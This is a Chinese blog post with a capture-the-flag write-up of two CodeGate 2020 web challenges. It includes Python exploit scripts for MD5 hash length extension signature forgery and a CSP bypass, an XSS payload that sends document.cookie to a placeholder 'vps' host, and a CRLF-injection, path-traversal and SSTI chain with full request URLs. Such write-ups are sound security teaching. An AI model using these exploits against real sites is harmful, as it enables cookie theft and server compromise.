sky's blog

2020 CodeGate Web Writeup

字数统计: 1,713阅读时长: 9 min
2020/02/09 Share

CSP

随手尝试:

1
110.10.147.166/view.php?name=123&p1=456&p2=789

得到如下url:

1
/api.php?sig=43bb08065a4d2217ca3881e93c65276b&q=TVRJeixORFUyLE56ZzU=

不难发现,view.php的功能,是帮助我们把name、p1、p2转化格式后,发送给api.php。
其中q的值为:

同时存在一个report功能:

如果把api.php的payload传过去,就能触发XSS,但是考虑到题目有CSP:

1
Content-Security-Policy: default-src 'self'; script-src 'none'; base-uri 'none';

显然需要bypass CSP,此时我们关注到api.php的代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$apis = explode("|", $api_string);
foreach($apis as $s) {
$info = explode(",", $s);
if(count($info) != 3)
continue;
$n = base64_decode($info[0]);
$p1 = base64_decode($info[1]);
$p2 = base64_decode($info[2]);

if ($n === "header") {
if(strlen($p1) > 10)
continue;
if(strpos($p1.$p2, ":") !== false || strpos($p1.$p2, "-") !== false) //Don't trick...
continue;
header("$p1: $p2");
}
elseif ($n === "cookie") {
setcookie($p1, $p2);
}
elseif ($n === "body") {
if(preg_match("/<.*>/", $p1))
continue;
echo $p1;
echo "\n<br />\n";
}
elseif ($n === "hello") {
echo "Hello, World!\n";
}
}

我们可以利用header进行bypass csp,但是需要同时对body传入exp,而view.php只能处理单个元组,不能同时为我们签名header和body:

1
header,p1(b64),p2(b64)|body,p1(b64),p2(b64) ...

所以我们需要自己根据算法构造sig,考虑到api.php的检测方式:

1
2
3
4
5
6
7
8
9
10
if(!isset($_GET["q"]) || !isset($_GET["sig"])) {
die("?");
}

$api_string = base64_decode($_GET["q"]);
$sig = $_GET["sig"];

if(md5($salt.$api_string) !== $sig){
die("??");
}

发现我们可以尝试hash长度拓展攻击,首先我们已有一个元组和签名:

1
2
name=123,p1=456,p2=789
sig=43bb08065a4d2217ca3881e93c65276b

但是我们未知salt的长度,那么需要进行爆破:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import hashpumpy
import base64


old_sig = "43bb08065a4d2217ca3881e93c65276b"
old_data = "MTIz,NDU2,Nzg5" # 123 456 789
url = "http://110.10.147.166/api.php?sig=%s&q=%s"

for i in range(1, 50):
result = hashpumpy.hashpump(old_sig, old_data, "|Nzg5,NDU2,MTIz", i) # 789 456 123
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
r = requests.get(now_url)
if '??' not in r.content:
print i
break

运行可得,salt长度为12。
那么此时可以并行构造header和body,但是如何bypass csp呢?
由于不擅XSS,赛后请教了一下Melody师傅,得知可用404进行bypass:

参考link:

1
http://www.yulegeyu.com/2018/07/15/CSP-unsafe-inline%E6%97%B6-%E5%BC%95%E5%85%A5%E5%A4%96%E9%83%A8js/


得到:

1
/api.php?sig=fa74cda5bdd2f4da4170e064a5462449&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==


构造:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import requests
import hashpumpy
import base64

def gen_exp(a,b,c):
return base64.b64encode(a)+','+base64.b64encode(b)+','+base64.b64encode(c)

old_sig = "fa74cda5bdd2f4da4170e064a5462449"
old_data = base64.b64decode('YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWag==') #header,HTTP/1 404,skysec

url = "http://110.10.147.166/api.php?sig=%s&q=%s"

a = 'body'
b = '''<img src=x onerror="location.href='//vps:23334/?c='+escape(document.cookie);"
>'''
c = ''
exp = '|'+gen_exp(a,b,c)
result = hashpumpy.hashpump(old_sig, old_data, exp, 12)
new_sig = result[0]
new_data = base64.b64encode(result[1])
now_url = url % (new_sig,new_data)
print now_url

得到exp:

1
http://110.10.147.166/api.php?sig=812ada09f5d2713a436156061126977d&q=YUdWaFpHVnksU0ZSVVVDOHhJRFF3TkE9PSxjMnQ1YzJWaoAAAAAAAAAAAABwAQAAAAAAAHxZbTlrZVE9PSxQR2x0WnlCemNtTTllQ0J2Ym1WeWNtOXlQU0pzYjJOaGRHbHZiaTVvY21WbVBTY3ZMekV3Tmk0eE5DNHhNVFF1TVRJM09qSXpNek0wTHo5alBTY3JaWE5qWVhCbEtHUnZZM1Z0Wlc1MExtTnZiMnRwWlNrN0lnbyss


得到flag:

1
CODEGATE2020{CSP_m34n5_Content-Success-Policy_n0t_Security}

renderer

XFF可控


题目给予了一个路由,尝试访问后发现,XFF可控:

但是fuzz后发现,好像并不能直接利用。

CRLF注入

后续关注到题目给予了dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
FROM python:2.7.16

ENV FLAG CODEGATE2020{**DELETED**}

RUN apt-get update
RUN apt-get install -y nginx
RUN pip install flask uwsgi

ADD prob_src/src /home/src
ADD settings/nginx-flask.conf /tmp/nginx-flask.conf

ADD prob_src/static /home/static
RUN chmod 777 /home/static

RUN mkdir /home/tickets
RUN chmod 777 /home/tickets

ADD settings/run.sh /home/run.sh
RUN chmod +x /home/run.sh

ADD settings/cleaner.sh /home/cleaner.sh
RUN chmod +x /home/cleaner.sh

CMD ["/bin/bash", "/home/run.sh"]

同时注意到其用urllib完成了request功能:

那么尝试使用CVE,探测是否存在CRLF注入:CVE-2019-9947,发现其漏洞范围为2.x ~ 2.7.16刚好符合dockerfile中的版本号,于是进行尝试:

1
http://[vps-ip]:23333?%0d%0apayload%0d%0apadding


发现确实存在CRLF注入攻击。
进一步尝试,利用CLRF注入,访问题目的whatismyip功能:

发现确实可以进行127.0.0.1的伪造访问,并且可控XFF,但陷入僵局。

目录穿越

赛后得知,题目可以进行目录穿越,进行任意文件下载:

1
http://58.229.253.144/static../src/app/routes.py

审计代码发现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@front.route("/admin", methods=["GET"])
def admin_access():
ip = get_ip()
rip = get_real_ip()

if ip not in ["127.0.0.1", "127.0.0.2"]: #super private ip :)
abort(403)

if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)

else:
if ip == "127.0.0.2" and request.args.get("body"):
ticket = write_extend_log(rip, request.args.get("body"))
return render_template("admin_local.html", ticket = ticket)
else:
return render_template("admin_local.html", ticket = None)

我们可以利用其中代码对log写入内容:

1
2
3
if ip != rip: #if use proxy
ticket = write_log(rip)
return render_template("admin_remote.html", ticket = ticket)

而跟进rip,其赋值来自于:

1
rip = get_real_ip()

跟进函数实现:

1
2
def get_real_ip():
return request.headers.get("X-Forwarded-For") or get_ip()

发现可用XFF控制写入log内容。
跟进write_log:

1
2
3
4
5
6
7
def write_log(rip):
tid = hashlib.sha1(str(time.time()) + rip).hexdigest()
with open("/home/tickets/%s" % tid, "w") as f:
log_str = "Admin page accessed from %s" % rip
f.write(log_str)

return tid

故此,可以尝试在/admin路由,利用XFF写入文件,同时会返回其ticket:

1
url=http://127.0.0.1/renderer/admin+HTTP/1.1%0aX-Forwarded-For: {{1+1}}%0a


而后,利用/admin/ticket读取文件,触发ssti:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def admin_ticket():
ip = get_ip()
rip = get_real_ip()

if ip != rip: #proxy doesn't allow to show ticket
print 1
abort(403)
if ip not in ["127.0.0.1", "127.0.0.2"]: #only local
print 2
abort(403)
if request.headers.get("User-Agent") != "AdminBrowser/1.337":
print request.headers.get("User-Agent")
abort(403)

if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)

构造exp如下:

1
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646+HTTP/1.1%0aUser-Agent: AdminBrowser/1.337%0aX-Forwarded-For: 127.0.0.1%0aA: B%0a


测试发现,确实可以伪造http header。但是此处存在一个问题,即UA覆盖,最下面的UA,会覆盖我们上面的UA,所以得Connection: close。

1
url = http://127.0.0.1/renderer/admin/ticket?ticket=c0105720c3cd521aadd35064b24db9699b2bc646 HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUser-Agent: AdminBrowser/1.337%0d%0aX-Forwarded-For: 127.0.0.1%0d%0aConnection: close%0d%0a%0d%0askycool


即可触发ssti:

1
2
3
4
5
6
if request.args.get("ticket"):
log = read_log(request.args.get("ticket"))
if not log:
print 4
abort(403)
return render_template_string(log)


发现flag位置:

1
ENV FLAG CODEGATE2020{**DELETED**}

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import urllib
url = 'http://58.229.253.144/renderer/'

payload1 = '''http://127.0.0.1/renderer/admin HTTP/1.1%%0d%%0aX-Forwarded-For: %s%%0d%%0a'''
payload2 = '''http://127.0.0.1/renderer/admin/ticket?ticket=%s HTTP/1.1%%0d%%0aHost: 127.0.0.1%%0d%%0aUser-Agent: AdminBrowser/1.337%%0d%%0aX-Forwarded-For: 127.0.0.1%%0d%%0aConnection: close%%0d%%0a%%0d%%0askycool'''


ssti_payload = '''{{config}}'''

exp1 = payload1 % ssti_payload

data = {
'url':urllib.unquote(exp1)
}
r = requests.post(url=url,data=data)
ticket = r.content[1652:1692]
exp2 = payload2%ticket
data = {
'url':urllib.unquote(exp2)
}
r = requests.post(url=url,data=data)
print r.content

运行即可拿到flag:

1
CODEGATE2020{CrLfMakesLocalGreatAgain}

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. CSP
  2. 2. renderer
    1. 2.1. XFF可控
    2. 2.2. CRLF注入
    3. 2.3. 目录穿越